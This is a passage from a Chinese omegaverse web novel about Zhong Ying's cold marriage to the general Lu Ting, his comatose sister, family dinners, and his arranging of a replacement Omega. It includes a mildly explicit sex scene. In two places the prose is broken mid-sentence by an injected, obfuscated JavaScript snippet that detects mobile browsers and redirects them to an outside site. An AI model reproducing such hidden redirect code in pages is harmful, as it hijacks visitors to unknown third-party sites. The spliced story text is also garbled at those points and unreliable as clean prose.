而现在,钟映自己也不太在乎了。 假的终究是假的,无论怎样粉饰,也变不成真的。 小荣很感兴趣地过来向他请教蛋糕的做法,语气真诚。旁边却又有人想起了旧事,笑着提起钟映当年“为爱炸厨房”的壮举。 “我有次去找路哥,看见嫂子十个手指头没一个是好的,不是贴着创可贴就是缠着纱布。我当时可羡慕路哥了!”那人说得兴起,“要我说,嫂子以前在钟家,那是正经的少爷,十指不沾阳春水。为了路哥,竟然能做到这种地步……” 钟映:“…………” 他只觉得一阵难堪的热意涌上脸颊。 这些人难道都看不出,路霆几乎要和他划清所有界限了吗?为什么还能这样若无其事地大谈特谈那些过往? 钟映真的一刻也待不下去了。趁着话题间隙,他悄悄给孟檀清发了条信息。 几分钟后,他的手机适时地响了起来。钟映立刻拿起手机,脸上露出恰到好处的歉意:“不好意思,工作室那边突然有点急事,我得先过去一趟。” 他站起身,礼貌地告辞,几乎像逃离一般,离开了这个让他如坐针毡的地方,甚至不敢多看路霆一眼。 等钟映离开后,客厅里热闹的气氛似乎也随之沉淀了几分。 路霆忽然开口:“那次瘴气的事,具体怎么回事?” 裴峰正喝着酒,闻言愣了一下,疑惑地看向他:“路哥……你不知道?嫂子后来没告诉你吗?” 路霆说没有。 裴峰被他看得有些发怵,摸了摸鼻子,讪讪道:“我就……我就当时随口那么一说,让嫂子务必保密。没想到他居然连你也没告诉。” 他顿了顿,语气变得认真了些:“毕竟让非编内人员参与那种级别的行动,还开车闯进污染区,怎么说都不合规矩,更不光彩。要是当时爆出来,咱们整个队恐怕都得挨处分。所以我就求他,千万对谁都别说。” 裴峰像是想起了当时的情景,语气里带上几分感慨:“说真的,路哥,你别看嫂子平时那样,那天他开车真是稳得吓人,又冷静又果断,那么险的路,眼睛都没眨一下。我们当时在后面,心里都佩服得不行。” 裴峰的声音低了下去,带着点复杂的情绪:“结果呢?好不容易找到你们,车刚停稳,他一看见你中毒晕死过去、脸色发青的样子,整个人瞬间就垮了。扑过去抱着你,哭得浑身发抖,话都说不利索,就那么死死搂着,嘴里反反复复就只会说‘救救他’、‘求你们快救救他’……哭得那个惨劲儿,我当时在旁边看着,心里都咯噔一下,差点以为你真没了……呸呸呸。” 路霆若有所思。 6. 幸好你没有小孩,不然溺爱得成什么样 那天路霆回来之后,就明显有些不对劲。 钟映刚准备睡下,脱掉外衣,正拿起睡衣要套上,卧室门就被人从外面毫无预兆地推开。 钟映的动作瞬间顿住,有些愕然地看向门口伫立的高大身影:“你怎么……不敲门?” 路霆的视线落在他半裸的肩颈上,目光沉沉的,反问的语气听不出情绪:“我不能进?” “……可以。”钟映下意识把睡衣抱在胸前,被他看得有些不自在,声音低了几分,“怎、怎么了?” “易感期。”路霆的回答依旧惜字如金。 钟映立刻反应过来,点了点头:“那你等一下,我马上过来。” 虽然觉得好像时间不太对,不过钟映也没多想。 路霆却没动,目光扫过钟映的房间。 这里充斥着Omega信息素的味道,是钟映身上那股淡淡的、如同晨间清冽露水般的气息,房间陈设简单,靠墙放着一张小小的书桌,旁边立着几本看了一半的书。 他有些不耐地扯开紧扣的领口,仿佛这样才能顺畅呼吸,随后径直走到钟映床边,坐了下来,声音低沉而肯定:“就在这里。” 钟映脸红了红,喃喃说了句别了吧。 他这里的床本来就不是很大。 别折腾坏了。 路霆依旧没有动,只是用那双显得格外幽深滚烫的眼睛盯着他。 钟映与他无声地僵持了半晌,大约半分钟。 最终,还是习惯性主动妥协的那一方先软化了态度。钟映犹豫了几秒,终究还是走上前,伸出手臂,轻轻勾住了Alpha的脖颈,将自己温顺地送了上去,贴近那具散发着危险气息的身体。 路霆顺势低头,含住了他敏感的耳垂,用牙齿不轻不重地磨蹭着,带来一阵细微的战栗。 Omega感受着那双在他身上熟练作乱、带着薄茧的手掌,呼吸变得断断续续,声音也染上了湿漉漉的颤音:“……路霆,你这次信息素好像没那么浓了……易感期是不是……也会短一些……” 路霆没有理会他这试图寻求安慰和确定的问话,只是掐着他的腰,让人面对面地跨坐到自己身上。 这个姿势让钟映瞬间软了腰肢,只能下意识地紧紧抱住身前的Alpha,手指无助地抠抓在对方宽厚紧实的后背上。 细碎的闷哼和带着哭腔的哀求难以抑制地从他唇齿间溢出,在寂静的房间里显得格外清晰。 “……轻……轻点……” 孟檀清家里的保姆临时请了假,偏又撞上一桩必须亲自去处理的急事,她和老公都要去处理,正为孩子没人看管而发愁。 钟映见状,便主动提出可以帮她带一天孩子,晚上她来接她吧。 孟檀清顿时松了口气,连声道谢:“真是太谢谢你了!我大概凌晨就能赶回来。悦悦,快,去收拾你的小书包,跟这位帅哥叔叔走!” 于是,钟映便把六岁的悦悦带回了自己家。 小姑娘被家里人呵护得极好,活泼伶俐,但并不显得娇纵任性。 牵着悦悦走进玄关,钟映蹲下身给她换了一双新拖鞋,伸手指了指两扇紧闭的房门,那是路霆的卧室和书房。 他压低声音,故作神秘地对小姑娘说:“悦悦要记住,千万不能进这两个房间哦。里面有可怕的怪物,专门吃小孩的。” 悦悦立刻睁圆了眼睛,小脸上写满了惊奇,却并没有被吓到,反而奶声奶气地反驳:“真的吗?可是妈妈告诉我,怪物都是大人编出来骗小孩的!” 钟映一时没忍住,笑了出来。他揉了揉悦悦的头发,坦诚道:“你妈妈说得对,是叔叔不对,刚才骗你的。” 他换上一副更认真的表情,低声解释:“其实是因为这两个房间的主人特别特别凶,所以我们不能进去打扰他,好不好?” 悦悦歪着小脑袋,好奇地追问:“有多凶呀?” 钟映佯装认真地想了想,然后说:“你见过动画片里那种……会轰隆隆喷火的大恐龙吗?差不多就是那种级别的凶。” 他安排悦悦坐在窗边的小桌子前,铺开画纸和彩色笔,让她安心画画。自己则系上围裙,走进厨房的操作台,开始专心调配新的蛋糕配方。 如今工作室的运营和账目都已趋于稳定,孟檀清几乎将管理事务全权交给了钟映打理。 大概下午五点多,钟映柔声问了悦悦晚上想吃什么,牵着她的小手一起去了附近的超市采购。 提着购物袋回来时,刚推开家门,一眼就看见了玄关处随意搭着的、属于路霆的深色外套。 钟映最近他着实摸不清路霆回家的规律。 果然,一抬眼就看见路霆正坐在客厅不远处的沙发上。 听到开门动静,路霆抬起头,目光先是扫过钟映手里的购物袋,随即落在他牵着的、陌生的小女孩身上,眼神里带着明显的审视和不悦:“她是谁?” 钟映下意识地将悦悦往身后护了护,解释道:“是我一个朋友的孩子。他们今天有急事,实在抽不开身,拜托我帮忙照看一下。” 路霆语气里听不出什么情绪,却带着一种惯有的刻薄:“自己没时间看,当初为什么要生。” 钟映:“…………” 真是的,当着孩子的面说这些。 悦悦从钟映身后小心翼翼地探出半个脑袋,大眼睛怯怯地打量着沙发上那个面色冷峻的叔叔,用气音极小声道:“叔叔……原来真的……有喷火的大恐龙……” 钟映吓得赶紧轻轻捂住她的小嘴,脸上挤出一点尴尬的笑意,连忙低声对悦悦说:“乖,你先去叔叔房间里玩一会儿。” 他把孩子安顿好,便立刻钻进厨房,动作利落地开始准备晚餐。 等到饭菜的香气飘满屋子,他才将做好的儿童餐仔细摆好,走去房间叫悦悦出来吃饭。 路霆的目光扫过餐桌,上面摆着的菜色没一样合他胃口,全是清淡的口味,一看就是完全贴着不远处那个小不点的喜好来的。 他脸色沉了沉,周身的气压更低了。 钟映给悦悦碗里夹菜,察觉到对面投来的冰冷视线,抬起头,语气带着歉意:“不好意思,我不知道你今天会回来吃饭。” 路霆没动筷子,只是看着他,过了一会儿才没什么情绪地开口:“呆会儿我让秘书发你一份我的行程表。” 钟映一时没反应过来:“……什么?” “行程表。”路霆重复了一遍,“只要下午没有紧急安排,我都会回来。” 钟映怔了一下,低声应道:“……好。” 若是放在以前,听到路霆主动告知行程、甚至暗示会规律回家,他大概会欣喜若狂,觉得这是关系缓和的征兆。 可现在他心里很清楚,路霆说这些,没有任何额外的意思,或许只是为了避免今天这种“撞上陌生小孩”的尴尬再次发生。 纯粹是出于一种对私有领地被意外侵入的本能秩序维护。 悦悦吃完饭就吵着要看动画片,可路霆通常这个时间点要看晚间新闻。 遥控器掌握在路霆手里,屏幕上是严肃的新闻画面。 悦悦委屈巴巴地蹭到钟映身边,拽着他的衣角小声告状,说那只“大恐龙”把她的动画片按没了。 钟映看着小姑娘泫然欲泣的脸,犹豫了片刻,还是鼓起勇气,站在沙发上面无表情的路霆面前替悦悦主持公道:“路霆……你把电视让给她看一会儿行不行?你书房也有电脑,可以去那里看新闻……” 路霆闻言,转过头来看向他,几秒后,他什么也没说,直接把遥控器扔在了沙发上,起身朝书房走去。 悦悦发出胜利的一声耶。 经过钟映身边时,他的脚步顿了顿,语气里听不出什么波澜,却莫名带着一丝极淡的、几乎难以察觉的幽怨:“幸好你没有小孩。不然溺爱得成什么样。” 钟映整个人瞬间僵住,脸上的血色褪去少许,变得有些难看。 他心想,我怎么可能还会有小孩呢? 这件事,路霆他不是最清楚不过的吗? 现在又说这种话……是故意刺激他的吧。 钟映沉默着没有接话。 悦悦在他的床上睡着了,呼吸均匀。 这间公寓里原本还有另一间房,当初本来钟映打算布置成婴儿房,后来随着时间推移,那点期待彻底湮灭,房间也逐渐沦为了堆放杂物的储藏室。 钟映躺在客厅的沙发上,辗转难眠。他索性起身,打开了那间杂物室的灯。冷白的光线照亮了里面尘封的布置,曾经精心挑选的淡蓝色壁纸,只剩一角还能窥见当初的痕迹。 他静静地站了一会儿,才关灯出来。 一出门,却看见路霆也没睡。 “你今晚就睡这里?”路霆的声音听不出情绪,目光扫过狭窄的沙发。 钟映点了点头。 “去我那边。”路霆的语气带着不容拒绝的意味。 “不用了。”钟映垂下眼,“你易感期应该已经过了吧。晚安。” 他说完,便背过身去,重新在沙发上躺下。路霆站在原地看了他几秒,最终转身离开,关门的声响比平时重了不少。 孟檀清夜里没能赶回来,发信息说第二天一早再来接孩子。 第二天,孟檀清果然一早便上门了。她来得有些早,钟映还穿着睡衣,头发也有些凌乱,打着哈欠把她请了进来。 孟檀清目光敏锐,一眼就瞥见他睡衣领口下,从锁骨一路蔓延下的暧昧红痕,不由得啧啧两声,调侃道:“你们家将军……这也太生//猛了吧。” 钟映脸颊一热,慌忙把领子往上拽了拽,生硬地转移话题:“你……吃早饭了吗?” 就在这时,路霆穿戴整齐从卧室出来,看见客厅里又出现一位“不速之客”,脸色瞬间沉了下去。 他没说什么,只是拿出手机,语气冷硬地让司机立刻到楼下等着。 钟映看他拿起外套径直走向玄关,下意识地问了一句:“不吃点早饭再走吗?” 路霆脚步未停,声音冷硬地抛过来两个字:“不吃。” 随即门被关上,发出不轻不重的声响。 等那充满压迫感的身影彻底离开,孟檀清才松了口气般,半开玩笑半认真地说:“你们家这位……看起来好像挺不欢迎我们娘俩的。” 钟映转身走向厨房,给她倒杯水,陈述一件再寻常不过的事实:“正常。我就没见过他真正亲近过谁。” 他顿了顿,声音里带上一点极淡的自嘲:“这个家里,常年就只有我们两个会呼吸的生物。因为他从来不允许……有第三个出现。” 悦悦在离开前,从她的小书包里掏出一张画,递给钟映。画纸上用稚嫩却明亮的色彩画了一个大大的钟映,笑脸弯弯。而在旁边,用棕色和红色蜡笔涂了一只张牙舞爪、正在喷火的巨大恐龙,恐龙的表情故意画得凶巴巴的。 钟映接过画,一时没忍住,低头轻笑出声。 画里那个凶巴巴的喷火恐龙,和刚才那个冷着脸离开的身影,奇异地重叠在了一起。 * 钟浦涛的电话又一次催了过来,他尽快安排一次会面。钟映握着手机,只能含糊地应道:“我再想想办法。” 钟映心里再清楚不过,让路霆听从他的安排,去见一个钟家塞过来的、目的明确的Omega,简直就是天方夜谭。 那个男人从来不会配合他演这种戏码。 倒是路羿那边传来了好消息。 他说最近寄玉的情况稳定了不少,各项指标都有好转。 钟映心下稍安,去医院的次数也跟着频繁起来。他每次去,总会习惯性地给路羿带些吃的,有时是顺手多买的一份三明治,有时是一杯咖啡。 接触多了,他才渐渐发觉,路霆的这个堂弟,性情似乎真的和路霆很不一样。 路羿身上没有那种迫人的冷硬和疏离,反而有种专注于学术的单纯和温和。 他甚至主动帮钟映查了很多关于寄玉这类病情的国内外最新案例和研究进展,仔细地整理好发给他。 看着路羿发来的那些密密麻麻却条理清晰的资料,钟映原本急切想要给妹妹转院的心,不知不觉就没那么强烈了。 路羿是真心实意地关心着寄玉的康复,丝毫没有对他频繁探视的动机产生任何怀疑。 钟映走到病房窗边,轻轻推开了玻璃窗。微暖的风立刻拂了进来,带着楼下花园里草木的清新气息。 他目光落在那一小片在阳光下开得正盛的向日葵上。 钟映小心翼翼地从那盆探望带来的向日葵花束上,轻轻摘下一片明艳柔软的花瓣。然后走回病床边,极其轻柔地将那片花瓣放在了寄玉苍白瘦削的掌心里。 “妹妹,”他声音放得很低,“你感受到了吗?这是向日葵的花瓣,很漂亮的颜色,就像阳光一样。” 他刚想伸手将那片花瓣拿开,以免硌到她。就在他的指尖即将触碰到花瓣的刹那,钟映清晰地看到,寄玉那一直静止不动的手指,极其轻微地、几乎难以察觉地……蜷缩了一下。 恰好将那片花瓣拢在了掌心。 钟映整个人瞬间僵在了原地,眼睛难以置信地睁大,呼吸都停滞了。 巨大的震惊和狂喜如同电流般窜过四肢百骸,让钟映声音抖得不成样子:“妹妹……?你……你刚才动了吗?” 钟映给路羿打了电话,路羿闻声走来,摘下口罩,仔细检查着监测仪器上的数据。 钟映猛地回过神,连忙抓住他的手臂,语无伦次:“路羿,她刚才动了!手指!她碰了花瓣!” 路羿的神色却依旧冷静,他反手按住钟映激动得发颤的手,语气平稳,有医生特有的审慎:“刚才那一下的神经反射,很可能只是昙花一现,不具有持续性。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345616|183512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但这确实证明大脑皮层可能出现了短暂的、微弱的活跃信号,这是一个积极的迹象。” 他话锋一转,目光变得严肃起来:“但是,嫂子,你必须明白,如果寄玉真的有朝一日恢复意识,清醒过来,也意味着她沉睡多年的身体器官将重新开始高负荷运转。以她目前器官衰竭的趋势来看……那将会是极大的负担和考验。” “所以,你必须从现在开始,就做好相应的心理准备。” 钟映用力地点了点头,喉咙艰难地滚动了一下。 他当然知道路羿所说的“准备”意味着什么。 他重新看向病床上依旧紧闭双眼的妹妹,俯下身,用极轻极轻的声音,带着无尽的期盼和一丝恐惧,喃喃低语:“寄玉……你睁开眼睛,看看哥哥,好不好?” 路母自从上次家宴不欢而散后,就再没叫过路霆和钟映回去吃饭。 那一次,路霆在饭桌上的顶撞和冷硬态度,着实把路母气得不轻。 说起来,路霆这辈子,大概也只在娶钟映进门这一件事上,对家里低过头、服过软。而此后发生的种种,无一不是脱离掌控、让她心力交瘁的麻烦。 这几日,路母的态度似乎稍有缓和,终于又打电话来叫他们回去吃饭。 钟映先一步到了路家老宅。 路母正抱着一只雪白的小博美犬,坐在客厅里。看见钟映独自进来,她抬了抬眼,目光却径直掠向他身后:“那个不孝的东西呢?没跟你一起?” 钟映垂下视线,低声给“那个不孝的东西”解释:“……路霆说工作上还有点事,晚些时候过来。” 路霆的奶奶腿脚还算利索,精神头也足,听说最近跟老姐妹组团旅游去了。 路父在路霆刚满十八岁那年就去世了,此后偌大的路家,几乎是靠路霆一肩撑起来的。 路母有一下没一下地抚摸着怀里的小狗,她脸上妆容依旧精致得体,她叹了口气,目光落在钟映身上,问道:“路霆那个狗东西……还是不肯松口要个孩子?” 钟映沉默地摇了摇头。 他心里想的却是:就算他现在松口,我又还能有什么办法呢? 路母蹙紧了精心描画的眉毛,语气里带着明显的不解与不满:“……真不知道是多大个坎过不去!再不喜欢,这人他也娶了,人也睡了,现在倒不知道还在犟些什么!” 她越说越气,声音也拔高了些:“难道跟你离了婚,就能当一切都没发生过?迟早有他后悔的那天!” 路母盯向钟映,问得直接:“他是不是根本不碰你?” 钟映一时语塞,不知道怎么说,沉默以对。 路母像是瞬间看懂了这无声的回应,拍了一下沙发扶手:“我就知道!那个混账东西就是个眼瞎的!这么好的……” 她话到嘴边又咽了回去,转而道:“今晚你们俩必须留下来!我让阿姨炖了好东西,非得让他多喝几碗不可!说不定明年我就能抱上孙子了!” 钟映闻言,立刻借口去厨房帮忙,几乎是逃离了客厅。 路母吐槽起来没完没了,再说下去,恐怕战火就要彻底烧到自己身上。 他走进厨房,一眼就看见灶上正咕嘟咕嘟冒着热气的砂锅,阿姨掀开盖子,一股浓郁的药膳味扑面而来,赫然是一锅用料十足的十全大补汤。 钟映看着那汤色深浓的补品,眼皮猛地跳了跳。 这要是真让路霆喝下去几碗,明天,后天他恐怕都爬不起来床。 晚上路霆到的时候,恰巧路羿也回来了,路母一看见他,立刻把脸一板,冲着路霆的方向翻了个白眼,随即绕过他,满脸欢喜地迎向路羿:“哎哟,我的小儿子回来了!快让妈妈看看,怎么最近好像瘦了?今晚一定得多吃点!” 路羿的亲生父母常年在国外,他几乎是路母看着长大的,感情自然深厚。 被彻底无视的路霆:“…………” 钟映站在稍远的地方,看见路羿投来的目光,对他微微笑了一下,算是打招呼。 吃饭的时候,路母果然示意阿姨,单独盛了满满一碗浓稠的十全大补汤,特意放在了路霆手边。那汤色泽深重,热气腾腾,散发着不容忽视的奇异气味。 钟映坐在路霆身旁,趁着路母正转头关切地和路羿说话、无暇顾及他们这边的空隙,暗暗深吸了一口气,迅速伸手将那碗汤端到了自己面前,低头几口喝了下去。 路霆侧过头,目光落在他身上。 钟映放下空碗,对上他的视线,勉强挤出一个轻松的笑:“味道……还挺不错的。” 过了一会儿,路母终于舍得将目光分给长子这边,一眼就瞥见路霆手边的碗空了,立刻扬声道:“阿姨!快,再给路霆添一碗你特意熬的汤!你看他都喝完了!” 钟映:“…………” 于是,在路母持续的“关怀”下,钟映硬着头皮,又替路霆喝了两碗。 等到第三碗见底,路霆终于忍不住,侧过头压低声音,语气复杂:“你就不能自己去盛一碗……” 钟映面不改色,只感觉灵魂都快受到了冲击,几乎只有气音:“我不,我喜欢喝你碗里的。” 晚饭后,路羿今晚也留宿在老宅。 钟映觉得有些燥热,独自坐在一楼小花园的长椅上吹风发呆。夜风微凉,稍稍驱散了体内那股莫名的燥意。 忽然,一杯温热的牛奶递到了他面前。 路羿不知何时走了过来,语气温和:“看你一个人坐在这里。晚上光喝汤了,没怎么吃饭吧?喝点牛奶暖暖胃。” 钟映正觉得那补汤咸得发齁,口干舌燥,便接过杯子,顺从地喝了一口。温热的液体滑过喉咙,缓解了些许不适。 他低声道:“谢谢你。” 路羿在他身旁坐下,夜色将他的声音衬得温和:“你跟我哥……一直以来,都是这样的吗?” 钟映捧着温热的牛奶杯,点了点头。在路羿面前,他似乎不必刻意维持那些虚假的体面:“你哥跟我结婚,本来就不是他的本意。后来……也是我死缠烂打,才勉强维系到现在。” “等寄玉的病情再稳定一些,我会尽量去说服钟家和妈妈……放他自由。” 他们的婚姻,从来就不只是他们两个人之间的事。背后牵扯着钟路两家的利益、脸面和错综复杂的关系。 而在这一切之中,钟映自己,恰恰是最没有发言权和选择权的那一个。 路羿沉默了片刻,轻声安慰道:“都会好起来的。” 钟映抱着杯子,微微偏过头,对他露出一个很淡的笑:“谢谢。” 就在这时,路霆下楼来厨房倒水。经过走廊时,他的目光无意间瞥向庭院,恰好看见他的小妻子和他的弟弟并肩坐在夜风里。 钟映侧着脸,正对着路羿露出一个他极少见过的、放松而温柔的浅笑。 路霆的脚步顿在原地,眉头不自觉地蹙了起来。 7. 钟映在给别人铺路 钟映轻手轻脚地推开卧室门,却意外发现路霆还没睡,正靠坐在床头,就着一盏暖黄的阅读灯看书。 “你……还没睡啊?”钟映有些意外。 路霆闻声抬起头,没什么表情地看了他一眼,只淡淡道:“把门关上。” 钟映关好门,便径直去浴室洗漱。 等他再出来时,路霆依旧维持着看书的姿势,仿佛他不存在一般。 钟映默默走到床的另一侧,小心翼翼地躺下,只占据了最边缘的一个角落,背对着路霆,将自己蜷缩成一团,很快就陷入了睡眠。 不知过了多久,钟映是被一阵燥热生生闷醒的。他迷迷糊糊地揉了揉眼睛,才发现自己不知何时竟从床沿滚到了中间,身体几乎挨着了路霆,手臂一伸就能碰到对方温热的身体。 他额头上沁出了一层细密的汗珠,黏腻难受。他微微撑起身,用指尖擦了擦汗,忍不住侧过头,看向身旁依旧沉睡的路霆。 睡着的路霆,眉宇间褪去了平日里的冷硬和疏离,显得平和了许多。那张无可挑剔的脸在朦胧的光线下,有种近乎温柔的错觉,让人一时有些移不开眼。 但只要那双眼睛睁开,里面便会重新盛满刻薄的注视。 他正这么出神地想着,忽然感觉鼻腔落下一滴温热的液体。他下意识地抬手摸了摸鼻子,指尖竟沾上了一抹鲜红。 流鼻血了。 钟映立刻掀开被子,也顾不得会不会吵醒旁边的人,赤着脚就匆忙下床,快步冲进了洗手间。 是昨晚那几碗十全大补汤…… 这后劲也太足了,简直要把他补过头了。 等钟映手忙脚乱地冲掉水池里的血迹,刚抬起头,就从镜子里看见路霆不知何时站在了洗手间门口,眉头微蹙地看着他:“你怎么了?” 钟映连忙摆摆手,扯过纸巾擦了擦脸和鼻子下方,声音还有些瓮:“我没事,就是有点上火而已。对不起啊,把你吵醒了。” 路霆没说话,径直走过来,伸手拨开他还在胡乱擦拭的手,指尖有些凉,托起他的下巴,仔细看了看他的鼻间和脸色,过了一会才道:“没流了。” 钟映本身皮肤就白,此刻因为刚用冷水冲过脸,脸上和眼眶周围都湿漉漉的,睫毛上还沾着细小的水珠,配上那副有些无措的神情,显得格外楚楚可怜。 钟映被路霆看得有些不自在,下意识地往后缩了缩,偏开头:“我真没事了,坐一会儿就好。你……回去继续睡吧。” 路霆松开了手:“床单都被你弄脏了,还睡什么。” 钟映一愣,顺着他的目光看向卧室,果然看见浅色的床单上溅了几点醒目的暗红血迹。他顿时感到一阵愧疚,低声道:“对不起……你要不去客房再睡一会儿吧?” 路霆最后也没去客房,盯着他看了一会,确认他不再流血后,换了身衣服,直接出门晨练去了。 听着门被关上的声音,钟映站在原地,心里涩涩地想,这是嫌弃了。 钟映默默走回卧室,看着那几点血迹,发了一会儿呆,然后自己蜷缩回还残留着一点温度的床上,勉强睡了个回笼觉。 天亮后,他仔细地将染血的床单和被罩拆了下来,抱去交给了家里的佣人清洗。 路霆吃过早饭便径直出门上班了。 钟映坐在餐桌旁,给路母剥了个水煮蛋,轻轻放在她面前的碟子里:“妈,给您。” 路母接过鸡蛋,目光在他脸上转了一圈,带着几分探究和期待,压低声音问:“他昨晚……碰你了?” 钟映动作一顿,硬着头皮,极其轻微地点了下头。 路母脸上立刻绽开一个满意的微笑,语气都轻快了不少:“太好了!我待会儿就让阿姨把那个方子写给你,照着给他喝,明年这时候,我说不定就能抱上孙子了!” 钟映:“……好。” 饭后,钟映要回去,路羿正好顺路,便提出捎他一程。 车开到他们居住的公寓小区门口时,路羿明显愣了一下:“你们……一直住在这里?我哥没想过换个大点、好点的房子吗?” 钟映有些茫然地点点头。这是当初路霆单位分配的住房,他们回来后就一直住在这儿。 “我觉得……还行吧,”钟映轻声说,“这附近挺安全的,交通也方便。” 至于路霆怎么想?他大概根本不在意吧。反正他也不常回来,住在哪里,对他而言或许根本没差别。 “可我哥之前前明明在碧水湖那边买了一套很好的房子,我有同学是做设计的,他还说他很上心是用来自己住的,”路羿像是无意间提起,语气带着些许困惑,“我当时还以为他是要……” 话没说完,他便顿住了,似乎意识到自己可能说错了话。 钟映只觉得那种熟悉的、沉重的无力感又一次攫住了他。 最后一点自欺欺人的空间都被打碎了,身边总是不乏好心人,用各种方式不断地提醒他,路霆根本不爱他这件事。 他知道他们不是故意的。 “……求求你,路羿,”钟映低下头,“别说关于他的事了……别再让我更难堪了,好吗?” 路羿顿时噤声,脸上露出懊悔的神色,连忙道:“抱歉,我……” 钟映摇摇头,打断了他的道歉:“我知道你没有恶意。是我自己的问题。” 他望着窗外的街景,声音空洞:“我以为只要蒙住眼睛,捂住耳朵,就能多骗自己一会儿。其实……” 其实,现在连他自己,都骗不了自己了。 钟映回到家,系上围裙,开始整理昨天积压的订单,准备材料。 烤箱预热的声音嗡嗡作响,但他脑海里却反复回响着路羿的话。 犹豫再三,钟映还是没能忍住,拿出手机,搜索了那个名为“碧水湖”的楼盘。 网页加载出来的图片精致得如同效果图。 独栋的房屋带着设计感极强的独立花园和一方清澈的私人泳池,巨大的落地玻璃窗通透明亮,窗外是修剪整齐的翠绿草坪,周边的环境静谧而优美。 价格自然也是天文数字,钟映看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16345617|183512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着那一长串零,退出了页面。 所以,路霆买下那样的房子,又是准备给谁住的呢? 他甩甩头,强迫自己不再去想,转身更加用力地揉搓着面团,只要忙起来,就能把那些纷乱的思绪挤出去。 路霆几乎一整周都没有回来。 钟映想点开那份对方秘书发来的、详细列明行程的文件,指尖悬在屏幕上方,最终却还是选择了放弃。 后来,他索性直接将其删除了。 算了。他对自己说。 以前吃过的苦头、受过的教训,难道还不够多吗? 他每周会去培训机构上两次烘焙课。 孟檀清找过他,问他有没有考虑把工作室的规模做大,以他们现在的口碑和客流量,完全有能力承接更多订单。 钟映只是摇摇头,说自己能力有限,恐怕搞不定。 其实并非如此。 他不是不想,而是没有时间让他去做了。 一旦他和路霆离婚,现在所拥有的一切平静都将被打破,他的生活会发生翻天覆地的变化。现在的稳定,不过是建立在摇摇欲坠的婚姻之上,他应该考虑的是另外的问题。 钟映犹豫要不要把一切都告诉孟檀清。 钟浦涛给他发来了钟家那位Omega的照片。的确是个美人,眉眼精致,气质出众,是名校毕业的艺术生,谈吐举止都透着良好的教养。 钟映看着那张照片,沉默了很久。 然后,他给那个女孩发送信息,让她务必把路霆的基本资料背熟,又拍下路霆常放在书房里看的那些书的封面发过去,事无巨细地告知对方路霆的喜好和习惯,对食物口味有什么挑剔,甚至一些极其细微的生活习惯。 每打出一个字,他能清晰地感觉到,自己正在亲手将路霆推远,正在彻底地失去这个人。 哪怕他从未真正拥有过路霆,可过去那几年里,那些共同生活的记忆是真的。 此刻的他,就像一个可笑的守财奴,正被迫一点一点地、亲手将自己视若珍宝的私有物,拱手让给他人。 这种想法让他觉得自己既荒谬,又可悲到了极点。 那女孩名叫钟励仪,隔着屏幕,她的问题都透着一股不谙世事的天真:“哥哥,我只要做好这些……路将军就会喜欢我吗?” 钟映看着这行字,心想,如果仅仅靠背诵资料、投其所好就能赢得路霆的心,那他和路霆之间,又何至于走到如今这般山穷水尽、相看两厌的地步。 他沉默了片刻,最终也只能敲下干巴巴的回复:“你看起来……很像是路霆会喜欢的类型。” 一股尖锐的涩意猛地攫住了他的心脏。 钟映在给别人铺路,将另一个光鲜亮丽、符合一切标准的人,推向那个他求而不得的位置。 难受吗?当然是难受的。 可这或许也是眼下所能期盼的、最好的结果了。 如果路霆真的能看上钟励仪,那么他或许就能借此机会,从钟家这令人窒息的无形束缚中,彻底脱身。 8. 先跟你说一句再见吧 路霆连续第两周都没有回家。 在某个平静的午后,钟映的手机响了起来,来电显示是路霆的秘书。 他接起电话,刑秘书那头的声音带着罕见的紧迫感,直接问他现在在什么地方,说有非常紧急的情况,需要他立刻赶往临市一趟。 听到钟映回答在家后,秘书立刻表示接他的车很快就会到楼下。 钟映握着手机,一头雾水,完全不明白发生了什么。但他还是习惯性地听从安排,迅速换好外出的衣服,简单收拾了一个小包。 在等待的间隙,他忍不住回拨过去,追问到底出了什么事。 秘书说:“将军的易感期到了。但他前些天一直用意志力强行压抑着,现在……情况有些失控了。他的信息素浓度已经高到异常,再这样下去,恐怕会不好收拾,必须需要您在身边。” 电话挂断后,听筒里只剩下忙音。 钟映却愣了,喃喃自语:“可他……之前的易感期,不是明明已经结束了吗?” 钟映匆匆跟孟檀清打了个招呼,便坐上了来接他的车。 不到三个小时,车辆便抵达了目的地。 车门一打开,立刻有人上前恭敬地替他拿过行李。 秘书早已等在门口,面色凝重地引着他往酒店内部走:“钟先生,辛苦了。您知道的,将军身份特殊,很多双眼睛都盯着,这种时候……只能麻烦您亲自过来一趟。” 钟映沉默地跟着,心想原来如此。难怪要不远千里把他叫来,大概是因为路霆的身份绝不能在这种时候闹出任何标记陌生Omega的丑闻。 既然情况如此紧急,为什么不能随便找个可靠的Omega暂时安抚呢? 他起初甚至可悲地以为,是路霆不要别人。 跟着秘书走进电梯,金属门映出他的脸,他将手插进风衣口袋,嘴角极其勉强地扯动了一下,那是一个无声的、充满自嘲意味的笑。 钟映,你难道到了今天,还不明白自己唯一的价值究竟是什么吗? 电梯抵达楼层。 路霆的套房门外守着好几名面色冷峻的警卫,秘书将房卡递到他手里。钟映深吸一口气,正准备刷卡开门时,目光不经意间瞥见走廊不远处,一个身影正静静地站在那里。 那是一个Omega,容貌出众。此刻,他正用一种冰冷而直接的目光,毫不避讳地注视着钟映。 